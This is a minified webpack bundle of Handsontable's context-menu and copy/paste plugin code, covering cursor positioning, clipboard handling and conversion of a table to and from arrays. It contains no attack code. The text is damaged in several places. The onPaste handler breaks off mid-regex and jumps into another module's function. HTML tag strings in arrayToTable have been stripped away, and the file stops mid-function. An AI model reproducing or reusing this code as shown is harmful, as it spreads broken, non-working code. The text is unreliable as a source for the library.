selectionLayerLevel The number which indicates what selection layer is currently modified. */ }, { key: "onAfterSelection", value: function onAfterSelection(r, c, r2, c2, preventScrolling) { if (this.keyEvent === false) { preventScrolling.value = true; } } /** * Document mouse down listener. * * @private * @param {Event} event */ }, { key: "onDocumentMouseDown", value: function onDocumentMouseDown(event) { if (!this.isOpened()) { return; } if (this.container && (0, _element.isChildOf)(event.target, this.container)) { this.executeCommand(event); } // Close menu when clicked element is not belongs to menu itself if (this.options.standalone && this.hotMenu && !(0, _element.isChildOf)(event.target, this.hotMenu.rootElement)) { this.close(true); // Automatically close menu when clicked element is not belongs to menu or submenu (not necessarily to itself) } else if ((this.isAllSubMenusClosed() || this.isSubMenu()) && !(0, _element.isChildOf)(event.target, '.htMenu') && (0, _element.isChildOf)(event.target, document)) { this.close(true); } } }]); return Menu; }(); (0, _object.mixin)(Menu, _localHooks.default); var _default = Menu; exports.default = _default; /***/ }), /* 701 */ /***/ (function(module, exports, __webpack_require__) { "use strict"; exports.__esModule = true; exports.default = void 0; var _element = __webpack_require__(1); var _event = __webpack_require__(18); function _classCallCheck(instance, Constructor) { if (!(instance instanceof Constructor)) { throw new TypeError("Cannot call a class as a function"); } } function _defineProperties(target, props) { for (var i = 0; i < props.length; i++) { var descriptor = props[i]; descriptor.enumerable = descriptor.enumerable || false; descriptor.configurable = true; if ("value" in descriptor) descriptor.writable = true; Object.defineProperty(target, descriptor.key, descriptor); } } function _createClass(Constructor, protoProps, staticProps) { if (protoProps) _defineProperties(Constructor.prototype, protoProps); if (staticProps) _defineProperties(Constructor, staticProps); return Constructor; } /** * Helper class for checking if element will fit at the desired side of cursor. * * @class Cursor * @plugin ContextMenu */ var Cursor = /*#__PURE__*/ function () { function Cursor(object) { _classCallCheck(this, Cursor); var windowScrollTop = (0, _element.getWindowScrollTop)(); var windowScrollLeft = (0, _element.getWindowScrollLeft)(); var top; var topRelative; var left; var leftRelative; var cellHeight; var cellWidth; this.type = this.getSourceType(object); if (this.type === 'literal') { top = parseInt(object.top, 10); left = parseInt(object.left, 10); cellHeight = object.height || 0; cellWidth = object.width || 0; topRelative = top; leftRelative = left; top += windowScrollTop; left += windowScrollLeft; } else if (this.type === 'event') { top = parseInt((0, _event.pageY)(object), 10); left = parseInt((0, _event.pageX)(object), 10); cellHeight = object.target.clientHeight; cellWidth = object.target.clientWidth; topRelative = top - windowScrollTop; leftRelative = left - windowScrollLeft; } this.top = top; this.topRelative = topRelative; this.left = left; this.leftRelative = leftRelative; this.scrollTop = windowScrollTop; this.scrollLeft = windowScrollLeft; this.cellHeight = cellHeight; this.cellWidth = cellWidth; } /** * Get source type name. * * @param {*} object Event or Object with coordinates. * @returns {String} Returns one of this values: `'literal'`, `'event'`. */ _createClass(Cursor, [{ key: "getSourceType", value: function getSourceType(object) { var type = 'literal'; if (object instanceof Event) { type = 'event'; } return type; } /** * Checks if element can be placed above the cursor. * * @param {HTMLElement} element Element to check if it's size will fit above the cursor. * @returns {Boolean} */ }, { key: "fitsAbove", value: function fitsAbove(element) { return this.topRelative >= element.offsetHeight; } /** * Checks if element can be placed below the cursor. * * @param {HTMLElement} element Element to check if it's size will fit below the cursor. * @param {Number} [viewportHeight] The viewport height. * @returns {Boolean} */ }, { key: "fitsBelow", value: function fitsBelow(element) { var viewportHeight = arguments.length > 1 && arguments[1] !== undefined ? arguments[1] : window.innerHeight; return this.topRelative + element.offsetHeight <= viewportHeight; } /** * Checks if element can be placed on the right of the cursor. * * @param {HTMLElement} element Element to check if it's size will fit on the right of the cursor. * @param {Number} [viewportWidth] The viewport width. * @returns {Boolean} */ }, { key: "fitsOnRight", value: function fitsOnRight(element) { var viewportWidth = arguments.length > 1 && arguments[1] !== undefined ? arguments[1] : window.innerWidth; return this.leftRelative + this.cellWidth + element.offsetWidth <= viewportWidth; } /** * Checks if element can be placed on the left on the cursor. * * @param {HTMLElement} element Element to check if it's size will fit on the left of the cursor. * @returns {Boolean} */ }, { key: "fitsOnLeft", value: function fitsOnLeft(element) { return this.leftRelative >= element.offsetWidth; } }]); return Cursor; }(); var _default = Cursor; exports.default = _default; /***/ }), /* 702 */ /***/ (function(module, exports) { // removed by extract-text-webpack-plugin /***/ }), /* 703 */ /***/ (function(module, exports, __webpack_require__) { "use strict"; exports.__esModule = true; exports.default = void 0; var _base = _interopRequireDefault(__webpack_require__(15)); var _pluginHooks = _interopRequireDefault(__webpack_require__(22)); var _SheetClip = _interopRequireDefault(__webpack_require__(422)); var _array = __webpack_require__(3); var _number = __webpack_require__(9); var _element = __webpack_require__(1); var _plugins = __webpack_require__(13); var _copy = _interopRequireDefault(__webpack_require__(704)); var _cut = _interopRequireDefault(__webpack_require__(705)); var _pasteEvent = _interopRequireDefault(__webpack_require__(706)); var _focusableElement = __webpack_require__(708); var _utils = __webpack_require__(709); __webpack_require__(710); function _interopRequireDefault(obj) { return obj && obj.__esModule ? obj : { default: obj }; } function _slicedToArray(arr, i) { return _arrayWithHoles(arr) || _iterableToArrayLimit(arr, i) || _nonIterableRest(); } function _nonIterableRest() { throw new TypeError("Invalid attempt to destructure non-iterable instance"); } function _iterableToArrayLimit(arr, i) { var _arr = []; var _n = true; var _d = false; var _e = undefined; try { for (var _i = arr[Symbol.iterator](), _s; !(_n = (_s = _i.next()).done); _n = true) { _arr.push(_s.value); if (i && _arr.length === i) break; } } catch (err) { _d = true; _e = err; } finally { try { if (!_n && _i["return"] != null) _i["return"](); } finally { if (_d) throw _e; } } return _arr; } function _arrayWithHoles(arr) { if (Array.isArray(arr)) return arr; } function _typeof(obj) { if (typeof Symbol === "function" && typeof Symbol.iterator === "symbol") { _typeof = function _typeof(obj) { return typeof obj; }; } else { _typeof = function _typeof(obj) { return obj && typeof Symbol === "function" && obj.constructor === Symbol && obj !== Symbol.prototype ? "symbol" : typeof obj; }; } return _typeof(obj); } function _classCallCheck(instance, Constructor) { if (!(instance instanceof Constructor)) { throw new TypeError("Cannot call a class as a function"); } } function _defineProperties(target, props) { for (var i = 0; i < props.length; i++) { var descriptor = props[i]; descriptor.enumerable = descriptor.enumerable || false; descriptor.configurable = true; if ("value" in descriptor) descriptor.writable = true; Object.defineProperty(target, descriptor.key, descriptor); } } function _createClass(Constructor, protoProps, staticProps) { if (protoProps) _defineProperties(Constructor.prototype, protoProps); if (staticProps) _defineProperties(Constructor, staticProps); return Constructor; } function _possibleConstructorReturn(self, call) { if (call && (_typeof(call) === "object" || typeof call === "function")) { return call; } return _assertThisInitialized(self); } function _get(target, property, receiver) { if (typeof Reflect !== "undefined" && Reflect.get) { _get = Reflect.get; } else { _get = function _get(target, property, receiver) { var base = _superPropBase(target, property); if (!base) return; var desc = Object.getOwnPropertyDescriptor(base, property); if (desc.get) { return desc.get.call(receiver); } return desc.value; }; } return _get(target, property, receiver || target); } function _superPropBase(object, property) { while (!Object.prototype.hasOwnProperty.call(object, property)) { object = _getPrototypeOf(object); if (object === null) break; } return object; } function _getPrototypeOf(o) { _getPrototypeOf = Object.setPrototypeOf ? Object.getPrototypeOf : function _getPrototypeOf(o) { return o.__proto__ || Object.getPrototypeOf(o); }; return _getPrototypeOf(o); } function _inherits(subClass, superClass) { if (typeof superClass !== "function" && superClass !== null) { throw new TypeError("Super expression must either be null or a function"); } subClass.prototype = Object.create(superClass && superClass.prototype, { constructor: { value: subClass, writable: true, configurable: true } }); if (superClass) _setPrototypeOf(subClass, superClass); } function _setPrototypeOf(o, p) { _setPrototypeOf = Object.setPrototypeOf || function _setPrototypeOf(o, p) { o.__proto__ = p; return o; }; return _setPrototypeOf(o, p); } function _assertThisInitialized(self) { if (self === void 0) { throw new ReferenceError("this hasn't been initialised - super() hasn't been called"); } return self; } _pluginHooks.default.getSingleton().register('afterCopyLimit'); _pluginHooks.default.getSingleton().register('modifyCopyableRange'); _pluginHooks.default.getSingleton().register('beforeCut'); _pluginHooks.default.getSingleton().register('afterCut'); _pluginHooks.default.getSingleton().register('beforePaste'); _pluginHooks.default.getSingleton().register('afterPaste'); _pluginHooks.default.getSingleton().register('beforeCopy'); _pluginHooks.default.getSingleton().register('afterCopy'); var ROWS_LIMIT = 1000; var COLUMNS_LIMIT = 1000; var privatePool = new WeakMap(); /** * @description * This plugin enables the copy/paste functionality in the Handsontable. The functionality works for API, Context Menu, * using keyboard shortcuts and menu bar from the browser. * Possible values: * * `true` (to enable default options), * * `false` (to disable completely) * * or an object with values: * * `'columnsLimit'` (see {@link CopyPaste#columnsLimit}) * * `'rowsLimit'` (see {@link CopyPaste#rowsLimit}) * * `'pasteMode'` (see {@link CopyPaste#pasteMode}) * * See [the copy/paste demo](https://docs.handsontable.com/demo-copy-paste.html) for examples. * * @example * ```js * // Enables the plugin with default values * copyPaste: true, * // Enables the plugin with custom values * copyPaste: { * columnsLimit: 25, * rowsLimit: 50, * pasteMode: 'shift_down', * }, * ``` * @class CopyPaste * @plugin CopyPaste */ var CopyPaste = /*#__PURE__*/ function (_BasePlugin) { _inherits(CopyPaste, _BasePlugin); function CopyPaste(hotInstance) { var _this; _classCallCheck(this, CopyPaste); _this = _possibleConstructorReturn(this, _getPrototypeOf(CopyPaste).call(this, hotInstance)); /** * Maximum number of columns than can be copied to clipboard using CTRL + C. * * @type {Number} * @default 1000 */ _this.columnsLimit = COLUMNS_LIMIT; /** * Ranges of the cells coordinates, which should be used to copy/cut/paste actions. * * @private * @type {Array} */ _this.copyableRanges = []; /** * Defines paste (CTRL + V) behavior. * * Default value `"overwrite"` will paste clipboard value over current selection. * * When set to `"shift_down"`, clipboard data will be pasted in place of current selection, while all selected cells are moved down. * * When set to `"shift_right"`, clipboard data will be pasted in place of current selection, while all selected cells are moved right. * * @type {String} * @default 'overwrite' */ _this.pasteMode = 'overwrite'; /** * Maximum number of rows than can be copied to clipboard using CTRL + C. * * @type {Number} * @default 1000 */ _this.rowsLimit = ROWS_LIMIT; privatePool.set(_assertThisInitialized(_assertThisInitialized(_this)), { isTriggeredByCopy: false, isTriggeredByCut: false, isBeginEditing: false, isFragmentSelectionEnabled: false }); return _this; } /** * Checks if the plugin is enabled in the handsontable settings. This method is executed in {@link Hooks#beforeInit} * hook and if it returns `true` than the {@link CopyPaste#enablePlugin} method is called. * * @returns {Boolean} */ _createClass(CopyPaste, [{ key: "isEnabled", value: function isEnabled() { return !!this.hot.getSettings().copyPaste; } /** * Enables the plugin functionality for this Handsontable instance. */ }, { key: "enablePlugin", value: function enablePlugin() { var _this2 = this; if (this.enabled) { return; } var settings = this.hot.getSettings(); var priv = privatePool.get(this); priv.isFragmentSelectionEnabled = settings.fragmentSelection; if (_typeof(settings.copyPaste) === 'object') { this.pasteMode = settings.copyPaste.pasteMode || this.pasteMode; this.rowsLimit = settings.copyPaste.rowsLimit || this.rowsLimit; this.columnsLimit = settings.copyPaste.columnsLimit || this.columnsLimit; } this.addHook('afterContextMenuDefaultOptions', function (options) { return _this2.onAfterContextMenuDefaultOptions(options); }); this.addHook('afterOnCellMouseUp', function () { return _this2.onAfterOnCellMouseUp(); }); this.addHook('afterSelectionEnd', function () { return _this2.onAfterSelectionEnd(); }); this.addHook('beforeKeyDown', function () { return _this2.onBeforeKeyDown(); }); this.focusableElement = (0, _focusableElement.createElement)(); this.focusableElement.addLocalHook('copy', function (event) { return _this2.onCopy(event); }).addLocalHook('cut', function (event) { return _this2.onCut(event); }).addLocalHook('paste', function (event) { return _this2.onPaste(event); }); _get(_getPrototypeOf(CopyPaste.prototype), "enablePlugin", this).call(this); } /** * Updates the plugin state. This method is executed when {@link Core#updateSettings} is invoked. */ }, { key: "updatePlugin", value: function updatePlugin() { this.disablePlugin(); this.enablePlugin(); this.getOrCreateFocusableElement(); _get(_getPrototypeOf(CopyPaste.prototype), "updatePlugin", this).call(this); } /** * Disables the plugin functionality for this Handsontable instance. */ }, { key: "disablePlugin", value: function disablePlugin() { if (this.focusableElement) { (0, _focusableElement.destroyElement)(this.focusableElement); } _get(_getPrototypeOf(CopyPaste.prototype), "disablePlugin", this).call(this); } /** * Copies the selected cell into the clipboard. */ }, { key: "copy", value: function copy() { var priv = privatePool.get(this); priv.isTriggeredByCopy = true; this.getOrCreateFocusableElement(); this.focusableElement.focus(); document.execCommand('copy'); } /** * Cuts the selected cell into the clipboard. */ }, { key: "cut", value: function cut() { var priv = privatePool.get(this); priv.isTriggeredByCut = true; this.getOrCreateFocusableElement(); this.focusableElement.focus(); document.execCommand('cut'); } /** * Creates copyable text releated to range objects. * * @param {Object[]} ranges Array of objects with properties `startRow`, `endRow`, `startCol` and `endCol`. * @returns {String} Returns string which will be copied into clipboard. */ }, { key: "getRangedCopyableData", value: function getRangedCopyableData(ranges) { var _this3 = this; var dataSet = []; var copyableRows = []; var copyableColumns = []; // Count all copyable rows and columns (0, _array.arrayEach)(ranges, function (range) { (0, _number.rangeEach)(range.startRow, range.endRow, function (row) { if (copyableRows.indexOf(row) === -1) { copyableRows.push(row); } }); (0, _number.rangeEach)(range.startCol, range.endCol, function (column) { if (copyableColumns.indexOf(column) === -1) { copyableColumns.push(column); } }); }); // Concat all rows and columns data defined in ranges into one copyable string (0, _array.arrayEach)(copyableRows, function (row) { var rowSet = []; (0, _array.arrayEach)(copyableColumns, function (column) { rowSet.push(_this3.hot.getCopyableData(row, column)); }); dataSet.push(rowSet); }); return _SheetClip.default.stringify(dataSet); } /** * Creates copyable text releated to range objects. * * @param {Object[]} ranges Array of objects with properties `startRow`, `startCol`, `endRow` and `endCol`. * @returns {Array[]} Returns array of arrays which will be copied into clipboard. */ }, { key: "getRangedData", value: function getRangedData(ranges) { var _this4 = this; var dataSet = []; var copyableRows = []; var copyableColumns = []; // Count all copyable rows and columns (0, _array.arrayEach)(ranges, function (range) { (0, _number.rangeEach)(range.startRow, range.endRow, function (row) { if (copyableRows.indexOf(row) === -1) { copyableRows.push(row); } }); (0, _number.rangeEach)(range.startCol, range.endCol, function (column) { if (copyableColumns.indexOf(column) === -1) { copyableColumns.push(column); } }); }); // Concat all rows and columns data defined in ranges into one copyable string (0, _array.arrayEach)(copyableRows, function (row) { var rowSet = []; (0, _array.arrayEach)(copyableColumns, function (column) { rowSet.push(_this4.hot.getCopyableData(row, column)); }); dataSet.push(rowSet); }); return dataSet; } /** * Simulates the paste action. * * @param {String} [value] Value to paste. */ }, { key: "paste", value: function paste() { var pastableText = arguments.length > 0 && arguments[0] !== undefined ? arguments[0] : ''; var pastableHtml = arguments.length > 1 && arguments[1] !== undefined ? arguments[1] : pastableText; if (!pastableText && !pastableHtml) { return; } var pasteData = new _pasteEvent.default(); if (pastableText) { pasteData.clipboardData.setData('text/plain', pastableText); } if (pastableHtml) { pasteData.clipboardData.setData('text/html', pastableHtml); } this.getOrCreateFocusableElement(); this.onPaste(pasteData); } /** * Prepares copyable text from the cells selection in the invisible textarea. */ }, { key: "setCopyableText", value: function setCopyableText() { var selRange = this.hot.getSelectedRangeLast(); if (!selRange) { return; } var topLeft = selRange.getTopLeftCorner(); var bottomRight = selRange.getBottomRightCorner(); var startRow = topLeft.row; var startCol = topLeft.col; var endRow = bottomRight.row; var endCol = bottomRight.col; var finalEndRow = Math.min(endRow, startRow + this.rowsLimit - 1); var finalEndCol = Math.min(endCol, startCol + this.columnsLimit - 1); this.copyableRanges.length = 0; this.copyableRanges.push({ startRow: startRow, startCol: startCol, endRow: finalEndRow, endCol: finalEndCol }); this.copyableRanges = this.hot.runHooks('modifyCopyableRange', this.copyableRanges); if (endRow !== finalEndRow || endCol !== finalEndCol) { this.hot.runHooks('afterCopyLimit', endRow - startRow + 1, endCol - startCol + 1, this.rowsLimit, this.columnsLimit); } } /** * Force focus on editable element. * * @private */ }, { key: "getOrCreateFocusableElement", value: function getOrCreateFocusableElement() { var editor = this.hot.getActiveEditor(); var editableElement = editor ? editor.TEXTAREA : void 0; if (editableElement) { this.focusableElement.setFocusableElement(editableElement); } else { this.focusableElement.useSecondaryElement(); } } /** * Verifies if editor exists and is open. * * @private */ }, { key: "isEditorOpened", value: function isEditorOpened() { var editor = this.hot.getActiveEditor(); return editor && editor.isOpened(); } /** * Prepares new values to populate them into datasource. * * @private * @param {Array} inputArray * @param {Array} selection * @returns {Array} Range coordinates after populate data */ }, { key: "populateValues", value: function populateValues(inputArray) { var selection = arguments.length > 1 && arguments[1] !== undefined ? arguments[1] : this.hot.getSelectedLast(); if (!inputArray.length) { return; } var newValuesMaxRow = inputArray.length - 1; var newValuesMaxColumn = inputArray[0].length - 1; var startRow = Math.min(selection[0], selection[2]); var endRow = Math.max(selection[0], selection[2], newValuesMaxRow + startRow); var startColumn = Math.min(selection[1], selection[3]); var endColumn = Math.max(selection[1], selection[3], newValuesMaxColumn + startColumn); var newValues = []; for (var row = startRow, valuesRow = 0; row <= endRow; row += 1) { var newRow = []; for (var column = startColumn, valuesColumn = 0; column <= endColumn; column += 1) { newRow.push(inputArray[valuesRow][valuesColumn]); valuesColumn = valuesColumn === newValuesMaxColumn ? 0 : valuesColumn += 1; } newValues.push(newRow); valuesRow = valuesRow === newValuesMaxRow ? 0 : valuesRow += 1; } this.hot.populateFromArray(startRow, startColumn, newValues, void 0, void 0, 'CopyPaste.paste', this.pasteMode); return [startRow, startColumn, endRow, endColumn]; } /** * `copy` event callback on textarea element. * * @param {Event} event ClipboardEvent. * @private */ }, { key: "onCopy", value: function onCopy(event) { var priv = privatePool.get(this); if (!this.hot.isListening() && !priv.isTriggeredByCopy || this.isEditorOpened()) { return; } this.setCopyableText(); priv.isTriggeredByCopy = false; var rangedData = this.getRangedData(this.copyableRanges); var allowCopying = !!this.hot.runHooks('beforeCopy', rangedData, this.copyableRanges); if (allowCopying) { var textPlain = _SheetClip.default.stringify(rangedData); if (event && event.clipboardData) { var textHTML = (0, _utils.arrayToTable)(rangedData); event.clipboardData.setData('text/plain', textPlain); event.clipboardData.setData('text/html', textHTML); } else if (typeof ClipboardEvent === 'undefined') { window.clipboardData.setData('Text', textPlain); } this.hot.runHooks('afterCopy', rangedData, this.copyableRanges); } event.preventDefault(); } /** * `cut` event callback on textarea element. * * @param {Event} event ClipboardEvent. * @private */ }, { key: "onCut", value: function onCut(event) { var priv = privatePool.get(this); if (!this.hot.isListening() && !priv.isTriggeredByCut || this.isEditorOpened()) { return; } this.setCopyableText(); priv.isTriggeredByCut = false; var rangedData = this.getRangedData(this.copyableRanges); var allowCuttingOut = !!this.hot.runHooks('beforeCut', rangedData, this.copyableRanges); if (allowCuttingOut) { var textPlain = _SheetClip.default.stringify(rangedData); if (event && event.clipboardData) { var textHTML = (0, _utils.arrayToTable)(rangedData); event.clipboardData.setData('text/plain', textPlain); event.clipboardData.setData('text/html', textHTML); } else if (typeof ClipboardEvent === 'undefined') { window.clipboardData.setData('Text', textPlain); } this.hot.emptySelectedCells(); this.hot.runHooks('afterCut', rangedData, this.copyableRanges); } event.preventDefault(); } /** * `paste` event callback on textarea element. * * @param {Event} event ClipboardEvent or pseudo ClipboardEvent, if paste was called manually. * @private */ }, { key: "onPaste", value: function onPaste(event) { if (!this.hot.isListening() || this.isEditorOpened()) { return; } if (event && event.preventDefault) { event.preventDefault(); } var pastedData; if (event && typeof event.clipboardData !== 'undefined') { var textHTML = event.clipboardData.getData('text/html'); if (textHTML && /( 1) { return true; } return false; }, hidden: false }; } /***/ }), /* 705 */ /***/ (function(module, exports, __webpack_require__) { "use strict"; exports.__esModule = true; exports.default = cutItem; var C = _interopRequireWildcard(__webpack_require__(11)); function _interopRequireWildcard(obj) { if (obj && obj.__esModule) { return obj; } else { var newObj = {}; if (obj != null) { for (var key in obj) { if (Object.prototype.hasOwnProperty.call(obj, key)) { var desc = Object.defineProperty && Object.getOwnPropertyDescriptor ? Object.getOwnPropertyDescriptor(obj, key) : {}; if (desc.get || desc.set) { Object.defineProperty(newObj, key, desc); } else { newObj[key] = obj[key]; } } } } newObj.default = obj; return newObj; } } function cutItem(copyPastePlugin) { return { key: 'cut', name: function name() { return this.getTranslatedPhrase(C.CONTEXTMENU_ITEMS_CUT); }, callback: function callback() { copyPastePlugin.cut(); }, disabled: function disabled() { var selected = this.getSelected(); if (!selected || selected.length > 1) { return true; } return false; }, hidden: false }; } /***/ }), /* 706 */ /***/ (function(module, exports, __webpack_require__) { "use strict"; exports.__esModule = true; exports.default = void 0; var _clipboardData = _interopRequireDefault(__webpack_require__(707)); function _interopRequireDefault(obj) { return obj && obj.__esModule ? obj : { default: obj }; } function _classCallCheck(instance, Constructor) { if (!(instance instanceof Constructor)) { throw new TypeError("Cannot call a class as a function"); } } var PasteEvent = function PasteEvent() { _classCallCheck(this, PasteEvent); this.clipboardData = new _clipboardData.default(); }; exports.default = PasteEvent; /***/ }), /* 707 */ /***/ (function(module, exports, __webpack_require__) { "use strict"; exports.__esModule = true; exports.default = void 0; function _classCallCheck(instance, Constructor) { if (!(instance instanceof Constructor)) { throw new TypeError("Cannot call a class as a function"); } } function _defineProperties(target, props) { for (var i = 0; i < props.length; i++) { var descriptor = props[i]; descriptor.enumerable = descriptor.enumerable || false; descriptor.configurable = true; if ("value" in descriptor) descriptor.writable = true; Object.defineProperty(target, descriptor.key, descriptor); } } function _createClass(Constructor, protoProps, staticProps) { if (protoProps) _defineProperties(Constructor.prototype, protoProps); if (staticProps) _defineProperties(Constructor, staticProps); return Constructor; } var ClipboardData = /*#__PURE__*/ function () { function ClipboardData() { _classCallCheck(this, ClipboardData); this.data = {}; } _createClass(ClipboardData, [{ key: "setData", value: function setData(type, value) { this.data[type] = value; } }, { key: "getData", value: function getData(type) { return this.data[type] || void 0; } }]); return ClipboardData; }(); exports.default = ClipboardData; /***/ }), /* 708 */ /***/ (function(module, exports, __webpack_require__) { "use strict"; exports.__esModule = true; exports.createElement = createElement; exports.deactivateElement = deactivateElement; exports.destroyElement = destroyElement; var _eventManager = _interopRequireDefault(__webpack_require__(10)); var _localHooks = _interopRequireDefault(__webpack_require__(68)); var _object = __webpack_require__(2); var _browser = __webpack_require__(42); function _interopRequireDefault(obj) { return obj && obj.__esModule ? obj : { default: obj }; } function _classCallCheck(instance, Constructor) { if (!(instance instanceof Constructor)) { throw new TypeError("Cannot call a class as a function"); } } function _defineProperties(target, props) { for (var i = 0; i < props.length; i++) { var descriptor = props[i]; descriptor.enumerable = descriptor.enumerable || false; descriptor.configurable = true; if ("value" in descriptor) descriptor.writable = true; Object.defineProperty(target, descriptor.key, descriptor); } } function _createClass(Constructor, protoProps, staticProps) { if (protoProps) _defineProperties(Constructor.prototype, protoProps); if (staticProps) _defineProperties(Constructor, staticProps); return Constructor; } /** * @class FocusableWrapper * * @plugin CopyPaste */ var FocusableWrapper = /*#__PURE__*/ function () { function FocusableWrapper() { _classCallCheck(this, FocusableWrapper); /** * The main/operational focusable element. * * @type {HTMLElement} */ this.mainElement = null; /** * Instance of EventManager. * * @type {EventManager} */ this.eventManager = new _eventManager.default(this); /** * An object for tracking information about event listeners attached to the focusable element. * * @type {WeakSet} */ this.listenersCount = new WeakSet(); } /** * Switch to the secondary focusable element. Used when no any main focusable element is provided. */ _createClass(FocusableWrapper, [{ key: "useSecondaryElement", value: function useSecondaryElement() { var el = createOrGetSecondaryElement(); if (!this.listenersCount.has(el)) { this.listenersCount.add(el); forwardEventsToLocalHooks(this.eventManager, el, this); } this.mainElement = el; } /** * Switch to the main focusable element. */ }, { key: "setFocusableElement", value: function setFocusableElement(element) { if (!this.listenersCount.has(element)) { this.listenersCount.add(element); forwardEventsToLocalHooks(this.eventManager, element, this); } this.mainElement = element; } /** * Get currently set focusable element. * * @return {HTMLElement} */ }, { key: "getFocusableElement", value: function getFocusableElement() { return this.mainElement; } /** * Set focus to the focusable element. */ }, { key: "focus", value: function focus() { // Add an empty space to texarea. It is necessary for safari to enable "copy" command from menu bar. this.mainElement.value = ' '; if (!(0, _browser.isMobileBrowser)()) { this.mainElement.select(); } } }]); return FocusableWrapper; }(); (0, _object.mixin)(FocusableWrapper, _localHooks.default); var refCounter = 0; /** * Create and return the FocusableWrapper instance. * * @return {FocusableWrapper} */ function createElement() { var focusableWrapper = new FocusableWrapper(); refCounter += 1; return focusableWrapper; } /** * Deactivate the FocusableWrapper instance. * * @param {FocusableWrapper} wrapper */ function deactivateElement(wrapper) { wrapper.eventManager.clear(); } var runLocalHooks = function runLocalHooks(eventName, subject) { return function (event) { return subject.runLocalHooks(eventName, event); }; }; /** * Register copy/cut/paste events and forward their actions to the subject local hooks system. * * @param {HTMLElement} element * @param {FocusableWrapper} subject */ function forwardEventsToLocalHooks(eventManager, element, subject) { eventManager.addEventListener(element, 'copy', runLocalHooks('copy', subject)); eventManager.addEventListener(element, 'cut', runLocalHooks('cut', subject)); eventManager.addEventListener(element, 'paste', runLocalHooks('paste', subject)); } var secondaryElement; /** * Create and attach newly created focusable element to the DOM. * * @return {HTMLElement} */ function createOrGetSecondaryElement() { if (secondaryElement) { if (!secondaryElement.parentElement) { document.body.appendChild(secondaryElement); } return secondaryElement; } var element = document.createElement('textarea'); secondaryElement = element; element.id = 'HandsontableCopyPaste'; element.className = 'copyPaste'; element.tabIndex = -1; element.autocomplete = 'off'; element.wrap = 'hard'; element.value = ' '; document.body.appendChild(element); return element; } /** * Destroy the FocusableWrapper instance. * * @param {FocusableWrapper} wrapper */ function destroyElement(wrapper) { if (!(wrapper instanceof FocusableWrapper)) { return; } if (refCounter > 0) { refCounter -= 1; } deactivateElement(wrapper); if (refCounter <= 0) { refCounter = 0; // Detach secondary element from the DOM. if (secondaryElement && secondaryElement.parentNode) { secondaryElement.parentNode.removeChild(secondaryElement); secondaryElement = null; } wrapper.mainElement = null; } } /***/ }), /* 709 */ /***/ (function(module, exports, __webpack_require__) { "use strict"; exports.__esModule = true; exports.arrayToTable = arrayToTable; exports.tableToArray = tableToArray; var _mixed = __webpack_require__(14); /** * Converts javascript array into HTMLTable. * * @param {Array} input Input array which will be converted to HTMLTable */ function arrayToTable(input) { var inputLen = input.length; var result = ['']; var tempElement = document.createElement('div'); document.documentElement.appendChild(tempElement); for (var row = 0; row < inputLen; row += 1) { var rowData = input[row]; var columnsLen = rowData.length; var columnsResult = []; if (row === 0) { result.push(''); } for (var column = 0; column < columnsLen; column += 1) { tempElement.innerText = "".concat((0, _mixed.isEmpty)(rowData[column]) ? '' : rowData[column]); columnsResult.push("")); } result.push.apply(result, [''].concat(columnsResult, [''])); if (row + 1 === inputLen) { result.push(''); } } document.documentElement.removeChild(tempElement); result.push('
          ".concat(tempElement.innerHTML, "
          '); return result.join(''); } /** * Helper to verify if DOM element is an HTMLTable element. * * @param {Element} element Node element to verify if it's an HTMLTable. */ function isHTMLTable(element) { return (element && element.nodeName || '').toLowerCase() === 'table'; } /** * Converts HTMLTable or string into array. * * @param {Element|String} element Node element or string, which should contain `...
          `. */ function tableToArray(element) { var result = []; var checkElement = element; if (typeof checkElement === 'string') { var tempElem = document.createElement('div'); tempElem.innerHTML = checkElement.replace(/\n/g, ''); checkElement = tempElem.querySelector('table'); } if (checkElement && isHTMLTable(checkElement)) { var rows = checkElement.rows; var rowsLen = rows && rows.length; var tempArray = []; for (var row = 0; row < rowsLen; row += 1) { var cells = rows[row].cells; var cellsLen = cells.length; var newRow = []; for (var column = 0; column < cellsLen; column += 1) { var cell = cells[column]; cell.innerHTML = cell.innerHTML.trim().replace(/(\n?)/g, '\n'); var cellText = cell.innerText; newRow.push(cellText); } tempArray.push(newRow); } result.push.apply(result, tempArray); } return result; } /***/ }), /* 710 */ /***/ (function(module, exports) { // removed by extract-text-webpack-plugin /***/ }), /* 711 */ /***/ (function(module, exports, __webpack_require__) { "use strict"; exports.__esModule = true; exports.default = void 0; var _base = _interopRequireDefault(__webpack_require__(15)); var _plugins = __webpack_require__(13); var _object = __webpack_require__(2); var _number = __webpack_require__(9); var _array = __webpack_require__(3); var _src = __webpack_require__(8); var C = _interopRequireWildcard(__webpack_require__(11)); var _contextMenuItem = __webpack_require__(712); var _utils = __webpack_require__(69); var _selection = __webpack_require__(429); function _interopRequireWildcard(obj) { if (obj && obj.__esModule) { return obj; } else { var newObj = {}; if (obj != null) { for (var key in obj) { if (Object.prototype.hasOwnProperty.call(obj, key)) { var desc = Object.defineProperty && Object.getOwnPropertyDescriptor ? Object.getOwnPropertyDescriptor(obj, key) : {}; if (desc.get || desc.set) { Object.defineProperty(newObj, key, desc); } else { newObj[key] = obj[key]; } } } } newObj.default = obj; return newObj; } } function _interopRequireDefault(obj) { return obj && obj.__esModule ? obj : { default: obj }; } function _typeof(obj) { if (typeof Symbol === "function" && typeof Symbol.iterator === "symbol") { _typeof = function _typeof(obj) { return typeof obj; }; } else { _typeof = function _typeof(obj) { return obj && typeof Symbol === "function" && obj.constructor === Symbol && obj !== Symbol.prototype ? "symbol" : typeof obj; }; } return _typeof(obj); } function _slicedToArray(arr, i) { return _arrayWithHoles(arr) || _iterableToArrayLimit(arr, i) || _nonIterableRest(); } function _nonIterableRest() { throw new TypeError("Invalid attempt to destructure non-iterable instance"); } function _iterableToArrayLimit(arr, i) { var _arr = []; var _n = true; var _d = false; var _e = undefined; try { for (var _i = arr[Symbol.iterator](), _s; !(_n = (_s = _i.next()).done); _n = true) { _arr.push(_s.value); if (i && _arr.length === i) break; } } catch (err) { _d = true; _e = err; } finally { try { if (!_n && _i["return"] != null) _i["return"](); } finally { if (_d) throw _e; } } return _arr; } function _arrayWithHoles(arr) { if (Array.isArray(arr)) return arr; } function _classCallCheck(instance, Constructor) { if (!(instance instanceof Constructor)) { throw new TypeError("Cannot call a class as a function"); } } function _defineProperties(target, props) { for (var i = 0; i < props.length; i++) { var descriptor = props[i]; descriptor.enumerable = descriptor.enumerable || false; descriptor.configurable = true; if ("value" in descriptor) descriptor.writable = true; Object.defineProperty(target, descriptor.key, descriptor); } } function _createClass(Constructor, protoProps, staticProps) { if (protoProps) 